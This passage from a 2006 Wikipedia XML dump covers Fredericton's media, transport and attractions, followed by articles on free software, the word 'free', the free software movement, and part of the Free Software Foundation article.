* Channel 4 (cable 3): [[CBAT-TV|CBAT]], [[CBC Television|CBC]]
* Channel 9 (cable 8): [[CKLT-TV|CKLT-1]], [[CTV television network|CTV]]
* Channel 11 (cable 6): [[CIHF-TV|CIHF-1]], [[Global Television Network|Global]]
* Channel 19 (cable 11): [[CBAFT-TV|CBAFT-10]], [[Télévision de Radio-Canada|SRC]]

===Radio===
* 1260 [[AM radio|AM]] - [[CKHJ (AM)|CKHJ]], [[country music]]
* 90.5 [[FM radio|FM]] - [[CJPN-FM|CJPN]], [[French language]] community
* 92.3 FM - [[CFRK-FM|CFRK]], &quot;Fred FM&quot; [[classic rock]]
* 93.3 FM - [[CIRC-FM|CIRC]], automated local information
* 94.7 FM - [[CJRI-FM|CJRI]], [[gospel music]]
* 95.7 FM - [[CKTP-FM|CKTP]], mixed format, owned by the [[St. Mary's First Nation]]
* 96.5 FM - [[CIXN-FM|CIXN]], &quot;Joy FM&quot;  [[Contemporary Christian music]]
* 97.9 FM - [[CHSR-FM|CHSR]], [[University of New Brunswick]] [[campus radio]]
* 99.5 FM - [[CBZA-FM|CBZA]], [[CBC Radio One]]
* 105.3 FM - [[CFXY-FM|CFXY]], &quot;The Fox&quot; [[active rock]]
* 106.9 FM - [[CIBX-FM|CIBX]], &quot;Capital FM&quot; [[adult contemporary]]

[[CBC Radio Two]] and both [[Radio-Canada]] services ([[La Première Chaîne]] and [[Espace musique]]) are provided from transmitters in Saint John. Other stations from Saint John and [[Presque Isle, Maine]] can also be heard in Fredericton.

===Print===

''[[The Daily Gleaner]]'' is published Fredericton as a daily and there are also three weekly newspapers available. The ''[[Telegraph-Journal]]'', based in [[Saint John, New Brunswick|Saint John]], publishes a provincial edition and has a bureau in Fredericton.  Furthermore, the students at [[Saint Thomas University]] and the [[University of New Brunswick]] both publish their own weekly papers - ''[[The Aquinian]]'' and ''[[The Brunswickan]]'' respectively - that are distributed in public areas on campus and in the city in general.  In recent years, Fredericton has seen a growth in alternative and independent media newspapers.

==Transportation==
===Airport===
Air service is provided out of the [[Greater Fredericton Airport]], located approximately 15 [[kilometre]]s east of downtown in [[Lincoln, New Brunswick|Lincoln]]. It is served by two [[airlines]]: [[Air Canada]] (which operates direct flights to [[Toronto]], [[Montreal]] and [[Halifax Regional Municipality, Nova Scotia|Halifax]]), and [[Delta Air Lines]] (which has two return flights a day to [[Boston, Massachusetts]]).

===Public Transit, Roads, Highways, Rail Services===
[[Image:FrederictonTransit.jpg|thumb|left|300px|Fredericton Transit provides public transportation six days a week in the city]]

There is no rail service into Fredericton. Passenger service was cancelled in the 1980s and freight service stopped in 1995. All [[railway]] tracks have been torn up.  Fredericton is served by Acadian inter-city bus lines which provides bus transit services to cities in Eastern Canada and the Northeastern United States.

Fredericton is located just off the [[Trans-Canada Highway]], which bypasses it to the south. Highways [[New Brunswick Highway 7|7]] and [[New Brunswick Highway 8|8]] (the latter being a former alignment of the Trans-Canada) connect to the city itself. Two highway bridges, the [[Westmorland Street Bridge]] and the [[Princess Margaret Bridge]], connect the two sides of the Saint John River. Those bridges both feed into high-speed controlled-access roads (Highways 8 and [[New Brunswick Highway 105|105]] serving the city's north side. The city's highway system is mostly complete, and traffic jams rarely occur.

There are some issues with heavy traffic on Regent Street which connects Fredericton to the bedroom community of [[New Maryland]].  Traffic does become heavy and slowed during evenings when government employees are returning home from work.  However, Regent Street has been expanded to four lanes in many areas to combat problems of clogged traffic.

Streets in downtown follow a grid pattern.  In residental areas of downtown, some neighbourhoods are traffic-calmed and include traffic circles at intersections to slow the speed of cars and discourage thorough-fare traffic.  Northumberland Street and Odel Avenue have adopted speedbumps to slow fast moving traffic. The pattern of streets in the rest of the city varies including straight thorough-fares (such as Smythe Street, Prospect Street and Regent Street), to curved streets and cul-de-sacs in primarily residental areas.

[[Fredericton Transit]] provides bus transit service to most areas of the city.  All city buses include bike racks in the summer months so that cyclists can take advantage of bus services as well.  Furthermore, during the last budget the Federal Government pledged more money towards urban infrastructure - some of this money will go towards upgrading Fredericton's bus transit system.  

Fredericton is also serviced by several cab companies.

===The Fredericton Trail System===
When railway service to Fredericton was discontinued in the 1990s, the railway tracks in Fredericton were replaced with walking and biking trails.  In 1997, the old train bridge was converted into a walking bridge.  The trail system - which is used by residents for walking, biking, and jogging now runs along the south side and most of the north side of the [[Saint John River]], as well as along the [[Nashwaak River]] which is a tributary.  These trails boast scenic vistas along the river as well as a mix of urban and wooded/natural scenery.

The trail system in Fredericton is part of the larger [[Trans-Canada trail]] network.

==Attractions==
===Historical Buildings and Museums===
[[Image:Old_Government_House3.jpg|thumb|right|300px|Old Government House, constructed between 1826 and 1828]]
* [[Beaverbrook Art Gallery]]
* [[New Brunswick Provincial Legislature]]
* [[Old Government House]]
* [[Historic Garrison District]]
* [[York-Sunbury Museum]]
* [[Boyce Farmers Market]]
* [[Christ Church Cathedral (Fredericton)|Christ Church Cathedral]]
* [[New Brunswick Sports Hall of Fame]]
* [[Gallery 78]]
* [[Science East]]
* [[Loyalist Cemetery]]
* [[Old Burial Ground]]
* [[Sir Howard Douglas Hall (Old Arts Building)]]

===Parks and Public Spaces===
Fredericton contains numerous public parks featuring preserved forest lands - such as O'dell Park - along with a botanical garden, and areas for picnics and family recreation.  Furthermore, Fredericton features tree lined streets and elm trees in particular which have earned the city its nickname &quot;The City of Stately Elms.&quot;  Fredericton's parks and public spaces include: 

* [[The Green (Fredericton)|The Green]] - along the banks of the Saint John River featuring biking/walking trails, a soccer field, picnic areas, and the Lighthouse which is a restaurant/tourist attraction.
* [[Odell Park]] - features preserved forested areas and trails, as well as recreational spaces for picnics and outdoor gatherings, adjacent to the [[Fredericton botanical gardens]].
* [[Kings Landing Historical Settlement]] (located in [[Prince William, New Brunswick|Prince William]]) - historical recreation of 19th century village.  Consists of houses and buildings that were moved to this location to avoid permanent flooding upon construction of the Mactaquac Hydro-electric dam.
* [[Mactaquac Provincial Park]] (located in [[Mactaquac, New Brunswick|Mactaquac]]) - beaches
* [[Kingswood Park]]
* [[Killarney Lake Park]] - beaches and picnic spots as well as nature trails
* [[Wilmot Park]] - recreational park in downtown featuring wading pool, playground, and family oriented activities.
* [[Queen Square Park]]
* [[Officer's Square]] - Venue for outdoor concerts and skating rink in the winter.

==See also==
*[[List of cities in Canada]]
*[[Fredericton Distinguished Citizen Award]]
*[[List of notable Frederictonians]]

==References==
Dallison, Robert L. &quot;A Tour of Boss Gibson's Marysville: A Nineteenth Century Mill Town.&quot;  Fredericton Heritage Trust, 1991.&lt;BR&gt;
Hachey, Philip Osmond &quot;The geology and ground water of the Fredericton district.&quot; UNB Thesis, 1955.&lt;br&gt;
McIntyre, Glen, Bruce Oliver and Bob Watson, &quot;A Valuable and Important Place - Fredericton's Loyalist Origins 1783.&quot;  A Fredericton Historical Research Project, 1983.

==External links==
*[http://www.nblighthouses.com/ The NB Lighthouses Website]
* [http://www.fredericton.ca/ Official City of Fredericton Website]
* [http://www.greaterfredericton.ca/ Invest Greater Fredericton]
* [http://www.harvestjazzblues.nb.ca/ Harvest Jazz &amp; Blues Festival]
* [http://www.kingslanding.nb.ca/englishhome.htm Kings Landing Historical Settlement]
* [http://www.heritagefredericton.org/ Fredericton Heritage Trust]
*[http://bridges.nblighthouses.com/ New Brunswick Covered Bridges]
* [http://www.e-novations.ca/ e-Novations]
* [http://www.fred-ezone.ca/ Fred-eZone] ''City's free WiFi network''
* [http://www.teamfredericton.com/ Team Fredericton]
* [http://www.frederictonchamber.ca/ Fredericton Chamber of Commerce]
* [http://www.frederictonairport.ca/ Greater Fredericton Airport (YFC)]
* [http://www.enterprisefredericton.ca Enterprise Fredericton]
* [http://www.gfedc.nb.ca/ Greater Fredericton Economic Development Corporation]
* [http://www.downtownfredericton.ca Downtown Fredericton Inc.]
* [http://surf.to/deletedscene Deleted Scene] ''local indie music scene website''
*[http://maps.google.com/maps?&amp;ll=45.956669,-66.651993&amp;spn=0.118721,0.160632&amp;t=k&amp;hl=en Google Map]

{{NBtemplate}}
{{Canada capitals}}

[[Category:Fredericton, New Brunswick|*]]

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    </revision>
  </page>
  <page>
    <title>Free software</title>
    <id>10635</id>
    <revision>
      <id>41608200</id>
      <timestamp>2006-02-28T13:55:32Z</timestamp>
      <contributor>
        <ip>71.241.135.10</ip>
      </contributor>
      <comment>/* History */ copyedit and remove nonsense accusation about &quot;corporate attitude&quot;</comment>
      <text xml:space="preserve">:''This article is about Free Software as defined by the sociopolitical Free Software movement; for information on software distributed without charge, see [[freeware]]. For other uses, see [[free software (disambiguation)]].''

'''Free software''', as defined by the [[Free Software Foundation]], is [[software]] which can be used, copied, studied, modified and redistributed without restriction. [[Freedom]] from such restrictions is central to the concept of &quot;free software&quot;, such that the opposite of free software is [[proprietary software]], and not software which is sold for profit, such as [[commercial software]]. Free software may sometimes be known as [[libre software]].  The usual way for software to be distributed as free software is for the software to be accompanied by a [[free software license]], and the [[source code]] of the software to be made available. 

==Usage==

To help distinguish ''[[Gratis versus Libre|libre]]'' (freedom) software from ''[[Gratis versus Libre|gratis]]'' (zero price) software, [[Richard Stallman]], founder of the [[Free Software Movement]], developed the following explanation: &quot;Free software is a matter of liberty not price. To understand the concept, you should think of 'free' as in '[[free speech]]', not as in 'free beer'&quot;. More specifically, free software means that [[user (computing)|computer users]] have the freedom to cooperate with whom they choose, and to control the software they use.

Most free software is distributed gratis [[online]], or [[off-line]] for the [[marginal cost]] of distribution, but this is not required, and people may sell copies for any price. The capitalized term &quot;Open Source&quot; is attached to a definition originally created in 1998 from [[Debian]]'s rewrite of the [[GNU]] definition of &quot;Free Software&quot;.  As a result, nearly all Open Source programs are Free Software, but there are some exceptions.

Although the open source and free software movements share almost identical license criteria and development practices, according to Stallman the respective philosophical values of the two movements are fundamentally different. Stallman endorses the terms [[Free/Libre/Open-Source Software]] (&quot;FLOSS&quot;) and [[Free and Open Source Software]] (&quot;F/OSS&quot;) to refer to &quot;open source&quot; and &quot;free software&quot; respectively, without necessarily choosing between or dividing the two camps, but he asks people to consider supporting the &quot;free software&quot; camp (see [[Open source vs. free software]] for more information).

The free BSD-based operating systems, such as [[FreeBSD]], [[OpenBSD]], and [[NetBSD]], use a similar defintion of free software, but they differ in interpretation about [[copyleft]].  Users of these systems often see copyleft as being over-restrictive to the point of being an encroachment on their freedom.

&quot;[[Freeware]]&quot; is software made available ''free of charge'', but is generally [[proprietary]], as users do not have the freedom to use, copy, study, modify or redistribute. Source code for freeware may or may not be published, and permission to distribute modified versions may or may not be granted, so freeware is ''gratis'', and not ''libre'' software.

== History ==

A brief history of Free Software:

* [[1960s]] and [[1970s]] &amp;mdash; software was seen as an add-on supplied by [[mainframe]] vendors to make computers useful. Thus, programmers and developers frequently shared their software freely. This was especially common in large users groups, such as [[DECUS]], the DEC ([[Digital Equipment Corporation]]) Users Group.

* Late 1970s and early [[1980s]] &amp;mdash; companies began routinely imposing restrictions on programmers with end user license agreements. Sometimes this was because companies were now making money from [[proprietary software]] or they were trying to keep [[trade secrets]] in software or hardware. [[Bill Gates]] signalled the change of the times when he wrote a famous [[Open_Letter_to_Hobbyists|open letter]] where he urged hackers to stop ''stealing'' by breaking license agreements.

* [[1983]] &amp;mdash; [[Richard Stallman]] launched the [[GNU project]] after becoming frustrated with the effects of the change in culture of the computer industry and users. One incident was when a printer wouldn't work but he couldn't hack the source code to fix the problem because it was withheld.   Software development for the [[GNU operating system]] began in January 1984, and [[Free Software Foundation]] (FSF) was founded in October 1985. He introduced a &quot;free software&quot; definition and &quot;[[copyleft]]&quot;, designed to ensure software freedom for all.   [http://cisn.metu.edu.tr/2002-6/free.php] Some reacted strongly against Stallman's position as idealistic nonsense and he was strongly mocked and criticised.

* Present day &amp;mdash; Free Software is a highly successful international effort, producing software used by individuals, large organisations, and even entire countries.  Free Software is massive industry.  The economic advantages of the Free Software model, and, to a lesser extent, the ethical principles that it was founded upon are beginning to be recognised broadly, even by mainstream media.  Also, some other industries  &amp;mdash; that is, non-software industries  &amp;mdash; are beginning to recognise the value of Free Software's message too: scientists, for example, are looking towards more open development processes, and hardware such as microchips is beginning to be developed under [[Copyleft]] licenses (see the [[OpenCores]] project, for instance).  The [[Creative Commons]] and [[Open Content]] movements have also been largely influenced by Free Software.

== Free software licenses ==
{{main|free software licenses}}

According to Stallman and the FSF, &quot;free&quot; software licenses grant:
* the freedom to run the program for any purpose (called &quot;freedom 0&quot;)
* the freedom to study and modify the program (&quot;freedom 1&quot;)
* the freedom to copy the program so you can help your neighbor (&quot;freedom 2&quot;)
* the freedom to improve the program, and release your improvements to the public, so that the whole community benefits (&quot;freedom 3&quot;)

Freedoms 1 and 3 require [[source code]] access, because studying and modifying software without source code is extremely difficult and highly inefficient compared to modifying annotated source code.

The FSF web site provides a list of many free software licenses. [http://www.gnu.org/licenses/license-list.html] The list is necessarily incomplete, because a license need not be known to the FSF in order to provide these freedoms.

&quot;[[Proprietary software]]&quot; is distributed under more restrictive [[software license]]s. [[Copyright]] law and/or [[contract]] law restrict modification, duplication and redistribution by users; software released under a free software license rescinds most of these reserved rights.

The FSF free software definition disregards price. [[Compact disc|CDs]] containing free software such as [[Linux distribution|GNU/Linux distributions]] are commonly for sale. However, since the CD buyer still has the free software freedoms, it is free software. ''Free beer'' software ([[freeware]]) which includes restrictions that confict with the FSF definition are considered proprietary. For example, source code may be unavailable, redistributors may be prohibited charging fees, etc.

Some people use &quot;[[libre]]&quot; to avoid the ambiguity of the word &quot;free&quot;. However, these terms are mostly used within the [[free software movement]] and are slowly spreading.

Variations on free software as defined by the FSF:
* [[Copyleft]] licenses, the [[GNU General Public License]] being the most prominent. The author retains copyright and permits redistribution and modification under terms to ensure that all modified versions remain free.
* [[Public domain]] software - the author has abandoned the copyright. Since public-domain software lacks copyright protection, it may be freely incorporated into any work, whether proprietary or free.
* [[BSD License|BSD-style license]]s, so called because they are applied to much of the software distributed with the [[Berkeley Software Distribution|BSD]] operating systems. The author retains copyright protection solely to disclaim warranty and require proper attribution of modified works, but permits redistribution and modification in ''any'' work, even proprietary ones.

A copyright owner of copyleft-licensed software can produce and sell a version under any license, in addition to distributing the original version as free software. Many free software companies do this; this does ''not'' restrict any rights granted to the users of the copyleft version.

All free software licenses must grant people all the freedoms discussed above. However, unless the applications' licenses are compatible, combining programs by mixing source code or directly linking binaries is problematic, because of license technicalities. Programs indirectly connected together may avoid this problem.

== Examples of free software ==

Notable free software:
* Operating systems: [[GNU/Linux]], [[Berkeley Software Distribution|BSD]], and [[Darwin (operating system)|Darwin]].
* [[GNU Compiler Collection|GCC]] compilers, [[GDB]] debugger and [[C programming language|C]] libraries.
* Servers: [[BIND]] name server, [[Sendmail]] mail transport, [[Apache HTTP Server|Apache web server]], and [[Samba software|Samba]] file server.
* [[Relational database]] systems: [[MySQL]] and [[PostgreSQL]].
* Programming languages: [[Perl]], [[PHP]], [[Python programming language|Python]], [[Ruby programming language|Ruby]] and [[Tcl]].
* [[Graphical user interface|GUI]] related: [[X Window System]], [[GNOME]] and [[KDE]] desktop environments.
* [[OpenOffice.org]] office suite, [[Mozilla Application Suite|Mozilla]] and [[Mozilla Firefox|Firefox]] web browsers and the [[GIMP]] graphics editor.
* Typesetting and document preparation systems [[TeX]] and [[LaTeX]].
* [[MediaWiki]], the software which runs Wikipedia.

The [[Free Software Directory]] is a free software project that maintains a large database of free software packages. 

The most accessible and comprehensive collections of free software are currently distributed as [[LiveDistro|LiveDistros]], entire operating systems stored and made ready to boot on CDs, USB sticks, DVDs, and other [[Booting|bootable media]]. By inserting a [[LiveDistro]] into your CD drive and booting the computer you arrive to a desktop with hundreds of free software packages ready to run and use.

Some free software packages work on the [[non-free]] [[Microsoft Windows]] and non-free [[Unix]] platforms. Non-free software can work on free platforms, although purists prefer using platforms composed entirely of free software such as [[GNU/Linux]].

Free software packages constitute a [[software ecosystem]] where software provides services, resulting in mutual benefit: for instance, the Apache web server handling the HTTP protocol, using [[mod_python]] to provide dynamic content.

== Social significance ==

===Positive Social Outcomes===

* Free software is generally available at little to no cost (it is ''gratis''). When free software spreads, its [[utility]] is constant, or even increases due to [[network effect]]s. Thus, free software is a [[pure public good]] rather than a [[private good]].
* Its freedoms result in a permanently lower cost compared to [[proprietary software]] increasing access to software and to its ecomonic and social benefits. Due to this fact free software is becoming popular in [[third world]] countries. 
* Furthermore, the openness of free software eases [[internationalization]] creating economic and social benefits for users in more countries.
* The freedom to modify free software prevents media tie-ins e.g. between web browsers, and web search engines (or between computer manufacturers and same), because such tie-ins can always be broken by the owners of a system.
* The ability to view and modify the software provides a practical defence against [[Spyware]].

===Negative Social Outcomes===

Possible loss of the economic incentives to produce software that were protected by copyright law or patents.   Copies of free software can be sold, although there is often less incentive to buy free software when it can usually be obtained for free.

==Political Characterisation==

Computer software is inanimate and therefore not political.  However, its effects on society, like speech, are political.

===Free software as a communist movement===

SCO CEO [[Darl McBride]] and others have tended to characterise Free Software as [[communist]].[http://www.economist.com/business/displayStory.cfm?story_id=2020889]  The accusation leverages the influential legacy of [[anti-communism]] in [[United States]] to generate an effect in the market or in legal matters.[http://news.com.com/2010-7344-5083904.html]  Communism opposes the free market and rejects private property.  Free software gives users the same freedoms the copyright holder has, while the owners of [[proprietary software]] restrict freedoms to make profit.  The free software community is also critical of software patents, and other protections in technology that restrict freedoms.  Models for collective ownership in free software is at odds with capitalistic ownership and production.  However, free software licenses give the freedom to charge a price for distributing the software.  Further, one or more copyright holders have copyright law to enforce the license of their free software package if the need arises.

===Free software as a libertarian movement===

The [[libertarian]] ideal can be characterised as being in favour of social liberty (including free speech, a free press and privacy) as well as economic liberty (including property rights and individual control over property) and in favour of a [[capitalist]] [[free market]]. There is some evidence that free software is congruent with libertarian ideals of economic liberty, intellectual property [http://libertariannation.org/a/f31l1.html] and freedom from invasions of privacy.

Free software license terms guarantee that anybody coming into possession of the software has the source code and the right to modify, reproduce and distribute it. Consequently anybody with the required knowledge is able to perform modifications and provide support for the product. Modifications are enabled directly by access to the source code and other services can be provided by those who have examined and learned about the product as users and maintainers. The result is a marketplace open to competition from a wide range of participants. There is little or no barrier to entry to the market since all the necessary permissions are granted by the license. The creation of this competition for services is appealing to the libertarian ideal of the free market and facilitates the creation of businesses.

The right to modify their software also enables users to exercise complete control over the computing devices that they own. Though users are generally free to choose which software products they run, the ability to modify the software products themselves means that assets can be exploited more efficiently.  This reinforces the benefits of existing property and creating a situation of complete control. This control precipitates many of the positive social outcomes described above, including enhanced computer security, electronic privacy and consumer choice.

== Individual motivations ==
Often coming into question is the reasons and motivations individuals would make the effort to participate and contribute to free software. Individuals within a team typically have a wide variety of motivations. Often, there are stances on the relationship between free software and the existing [[capitalism|capitalist]] [[economics|economic system]]. Some contributors dislike the capitalist economic system, and perceive that free software and capitalism are incompatible, so more free software results in less capitalism. They may also believe in inter-market competition, and that free software is a form of competition within capitalism. They may also perceive that [[copyright]] is governmental market restrictions. Other moptivations implement [[gift economy|gift economics]], where status depends effectively on &quot;gifts&quot; from the contributor.

== Relative security ==
{{Unreferencedsect}}

There is controversy over the [[computer security|security]] of free software versus proprietary software, with a a major issue being [[security through obscurity]]. A popular relative security measurement is counting known unpatched security flaws. Generally, users of this method advise avoiding products which lack fixes for known security flaws, at least until a fix is available.

== Free software controversies ==

The [[BitKeeper]] controversy in the free software movement illustrates the movement's major issues and points of view.

[[Larry McVoy]] invited high-profile free software projects to use [[BitKeeper]] to attract paying users. In 2002 a controversial decision was made to use BitKeeper, a proprietary software product, to develop the Linux kernel, a free software project. The following excerpt from a [[Newsforge]] article illustrates why this proved to be a major source of controversy.

:&quot;McVoy made the program available gratis to free software developers. This did not mean it was free software for them: they were privileged not to part with their money, but they still had to part with their freedom. They gave up the fundamental freedoms that define free software: freedom to run the program as you wish for any purpose, freedom to study and change the source code as you wish, freedom to make and redistribute copies, and freedom to publish modified versions.

:The Free Software Movement has said &quot;Think of free speech, not free beer&quot; for 15 years. McVoy said the opposite; he invited developers to focus on the lack of monetary price, instead of on freedom. A free software activist would dismiss this suggestion, but those in our community who value technical advantage above freedom and community were susceptible to it. '''...'''

:A free kernel, even a whole free operating system, is not sufficient to use your computer in freedom; we need free software for everything else, too. Free applications, free drivers, free BIOS: some of those projects face large obstacles -- the need to reverse engineer formats or protocols or pressure companies to document them, or to work around or face down patent threats, or to compete with a network effect. Success will require firmness and determination. A better kernel is desirable, to be sure, but not at the expense of weakening the impetus to liberate the rest of the software world.&quot; [http://software.newsforge.com/article.pl?sid=05/04/25/130207]
 
McVoy withdrew permission for gratis use by free software projects. Many in the free software movement see the whole affair as a vindication of [[Richard Stallman]]'s principled position over the more utilitarian approach of [[Linus Torvalds]].

== See also ==

* [[Dual license]]
* [[Free software magazine]]
* [[Free audio software]]
* [[Free file format]]
* [[Free game software]]
* [[Free/Libre/Open-Source Software]]
* [http://en.wikibooks.org/wiki/FLOSS_Concept_Booklet FLOSS Concept Booklet] on [[Wikibooks]]
* [[Free Software Foundation]]
* [[Free software license]]s
* [[GNU General Public License]]
* [[GNU|GNU Project]]
* [[List of free software packages]]
* [[List of liberated software]]
* [[Open source]]
* [[Open source vs. free software]]
* [[Open standard]]
* [[Open format]]
* [[Software Freedom Day]]
* [[X License]]

== External links ==
* [http://www.gnu.org/philosophy/free-sw.html The Free Software Definition] - published by FSF
* [http://www.ffii.org/index.en.html Foundation for a Free Information Infrastructure (FFII)].
* [http://en.howto.wikicities.com/wiki/Free_Software_and_Open_Source_software_%28Where_to_find%29 Free Software and Open Source software (Where to find)] - from Wikisolutions
* [http://www.gnu.org/licenses/license-list.html FSF's list of free software licenses], including clarifications on often confused non-free licenses
* [http://www.gnu.org/directory FSF/UNESCO directory of free software packages]
* [http://www.gnu.org/philosophy/ The GNU philosophy pages]
* [http://www.gnu.org/philosophy/free-software-for-freedom.html FSF's comparison of &quot;Open Source&quot; and &quot;Free Software&quot;]
* [http://www.dwheeler.com/oss_fs_why.html Why Open Source Software / Free Software (OSS/FS)? Look at the Numbers!] &amp;mdash; David Wheeler's analysis of the advantages of OSS/FS.

{{software distribution}}

[[Category:Free software]]
[[Category:Software licenses]]

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[[zh:自由软件]]</text>
    </revision>
  </page>
  <page>
    <title>Free</title>
    <id>10636</id>
    <revision>
      <id>41983921</id>
      <timestamp>2006-03-03T01:12:06Z</timestamp>
      <contributor>
        <username>Rhobite</username>
        <id>82899</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/141.153.244.69|141.153.244.69]] ([[User talk:141.153.244.69|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">{{Wiktionary}}

'''Free''' is an [[English language]] [[adjective]], [[verb]], and [[adverb]].

As an adjective or adverb, '''free''' may either describe a state of [[autonomy]], or the quality of being unfettered by some arbitrary restriction. It may also describe a [[commodity]] for which one is unobligated to pay. For an elaboration on this distinction, see [[Gratis versus Libre]].

The transitive verb ''to free'' may variously mean to [[Emancipation|emancipate]], to release from a constriction, or to confer [[freedom]].

The adjective '''free''' appears in many [[context]]s:

===Economics===
*[[Free software]]
*[[Freeware]]
*[[Free photos]]
*''[[Gratis]]''

===Mathematics===
*[[Free object]]
**[[Free group]] 
**[[Free abelian group]]
**[[Free module]]
**[[Free algebra]]
*[[Free variable]]

===Philosophy===
Negative - there is no such thing as a free lunch, freedom is not free

Positive - free as a bird or free oxygen 

*[[Free will]]
*[[Freedom]]

===Popular music===
*[[Free jazz]]
*[[Free (band)]]
**''[[Free (Free album)|Free]]'', an [[eponym]]ous [[music album]] by the [[musical group]] Free
*''[[Free (For Real album)|Free]]'', a music album by the musical group [[For Real]]
*''[[Free (Negativland album)|Free]]'', a music album by the [[rock band]] [[Negativland]]
*[[Free (rapper)]]

===Literature===
[[Abbie Hoffman|Free]], a [[pseudonym]] for the [[activist]] and [[writer]] [[Abbie Hoffman]] 

===Computer science===
[[free (programming)|free]] is a function in [[C programming language]] which deallocates or unloads a certain part of the memory.

{{disambig}}

[[fr:Libre]]</text>
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  </page>
  <page>
    <title>Free software movement</title>
    <id>10638</id>
    <revision>
      <id>34242965</id>
      <timestamp>2006-01-07T14:48:22Z</timestamp>
      <contributor>
        <username>Gronky</username>
        <id>87356</id>
      </contributor>
      <minor />
      <comment>moved see also link into article</comment>
      <text xml:space="preserve">The '''free software movement''' began in 1983 when [[Richard Stallman]] announced the [[GNU]] project. The goal of the movement is to give freedom to computer users by replacing [[computer software|software]] which has restrictive licensing terms with [[free software]] ([[gratis versus Libre|free as in freedom]]).

Most members of the free software movement believe that all software should come with the freedoms listed in the free software definition. Many hold that it is [[morality|immoral]] to prohibit or prevent people from exercising these freedoms and that these freedoms are required to create a decent society where software users can help each other, and to have control over their use of a computer.

On the other hand, many who prefer the term &quot;free software&quot; and consider themselves part of the movement do not believe proprietary software to be strictly immoral. They argue, however, that freedom is valuable (both socially and pragmatically) as a property of software in its own right, separate from technical quality in a narrow sense. Moreover, they may use the term &quot;free software&quot; to distance themselves from claims that &quot;[[open source]]&quot; software is always technically superior to proprietary software (which is often demonstrably false, at least in the short term). In this sense, they object that &quot;open-source&quot; advocates, by concentrating solely on technical merits, encourage users to sacrifice their freedom (and the long-term benefits thereof) for short-term conveniences that proprietary software may provide.

Supporters of open source argue for the pragmatic virtues of free software (aka &quot;open source software&quot;) rather than questions of morality. Their basic disagreement with the [[Free Software Foundation]] is its blanket condemnation of proprietary software. There are many programmers who enjoy supporting and using free software but make their livings developing proprietary software, and do not consider their actions immoral. The &quot;official&quot; free-software and open-source definitions are slightly different, with the free-software definition generally considered to be more strict, but the open source licenses which are not considered to be [[free software licenses]] are generally obscure, so in practice virtually all open source software is also free software.

The free software movement, as such, does not take a stand about works other than software and its documentation, but some free software advocates also believe that other works that serve a practical purpose should also be free (see [[Free content]]).

== See also ==
* [[Free Software Foundation]], [[Hacker culture]]
* [[Open source]], [[Open source movement]], [[Open source license]], [[GNU Manifesto]]
* [[Free Culture Movement]]

== External links ==
*[http://www.fsf.org/ The Free Software Foundation]
*[http://www.gnu.org/ The GNU Project]
*[http://www.opensource.org/ Open Source Initiative]

; Debate

*[http://forum.redlers.com/viewtopic.php?t=14 Forum Debate] a lively and informative ongoing debate over open vs. closed systems, standards, and formats and the OpenDocument format (ODF)

[[Category:free software]]
[[Category:Cultural movements]]

[[ja:&amp;#12501;&amp;#12522;&amp;#12540;&amp;#12477;&amp;#12501;&amp;#12488;&amp;#12454;&amp;#12455;&amp;#12450;&amp;#36939;&amp;#21205;]]
[[zh:&amp;#33258;&amp;#30001;&amp;#36719;&amp;#20214;&amp;#36816;&amp;#21160;]]</text>
    </revision>
  </page>
  <page>
    <title>Free Software Foundation</title>
    <id>10640</id>
    <revision>
      <id>41781640</id>
      <timestamp>2006-03-01T18:34:02Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: id</comment>
      <text xml:space="preserve">[[Image:Free_Software_Foundation_logo.png|frame|right|The Free Software Foundation [[logo]]]]

The '''Free Software Foundation''' ('''FSF''') is a non-profit organization founded in [[October]] [[1985]] by [[Richard Stallman]] to support the [[free software]] [[free software movement|movement]] (free as in [[freedom]]), and in particular the [[GNU]] project. 

From its founding until the mid-[[1990s]] FSF's funds were mostly used to employ software developers to write free software.  Since the mid- to late 1990s there are now many companies and individuals writing free software, so FSF's employees and volunteers mostly work on legal and structural issues for the [[free software movement|free software community]].

==Current work of FSF==
{{wikinews|Free Software Foundation releases first draft of GPLv3}}
; The GNU Project : The original purpose of the FSF was to promote the ideals of free software but the organization was also charged with developing the [[GNU]] operating system.

; GPL Enforcement : FSF has the resources and the will to enforce the [[GNU General Public License|GPL]] and other GNU licenses, but only for software for which it owns the copyrights; GPL'd software owned by others must be defended by its owners, since the FSF has no legal standing to enforce the GPL for them.  FSF handles around 50 GPL violations per year and tries to bring the other party into compliance without involving the courts.

; GNU Licenses : The [[GNU GPL]] is the most widely used license for Free Software projects.  The current version (version 2) was released in [[1991]] but FSF are working on a version 3.  FSF have also published the [[GNU Lesser General Public License]] (LGPL), and the [[GNU Free Documentation License]] (GFDL).

; Guardian of copyrights : FSF holds the [[copyright]]s to most GNU software and some non-GNU Free Software.  They require copyright assignment papers from each contributor to GNU packages so that they can defend the software in court if a dispute arises, and so that if there is a need to change the license of a work, it can be done without having to contact all contributors that have ever worked on the software.

; GNU Press : The FSF's publishing department, responsible for &quot;publishing affordable books on computer science using freely distributable licenses.&quot;

; The [[Free Software Directory]] : This is a listing of software packages which have been verified as free software.  Each package entry contains 47 pieces of information such as the project's homepage, developers, programming language, etc.  The goals are to provide a search engine for free software, and to provide a cross-reference for users to check if a package has been verified as being free software.  FSF has received a small amount of funding from [[UNESCO]] for this project.  It is hoped that the directory can be translated in to many languages in the future.

; Maintaining the Free Software Definition : FSF maintain many of the documents that define the Free Software movement

; Legal Education : FSF hold seminars about legal aspects of using the GPL, and offers a consultancy service for lawyers.

; Project Hosting : FSF provide project hosting via their [[GNU Savannah|Savannah]] website.

; Annual awards
&quot;[[Award for the Advancement of Free Software]]&quot; and &quot;[[Free Software Award for Projects of Social Benefit]]&quot;

[[Image:Eben Moglen.jpeg|thumb|[[Eben Moglen]], General Counsel]]

==Structure==
===Membership===
On [[November 25]], [[2002]] the FSF launched the FSF Associate Membership program for individuals.  In [[March 2005]] they had over 3400 associate members.  On [[March 5]] [[2003]] they launched a Corporate Patron program for commercial entities.  As of [[April 2004]], they have 45 corporate patrons.

===Organizational===

====Board of Directors====
* [[Geoffery Knauth]], Senior Software Engineer at SFA, Inc.
* [[Lawrence Lessig]], Professor of Law at Stanford University
* [[Eben Moglen]], Professor of Law and Legal History at Columbia University
* [[Henri Poole]], Founder of CivicActions, a grassroots campaign technology consulting firm.
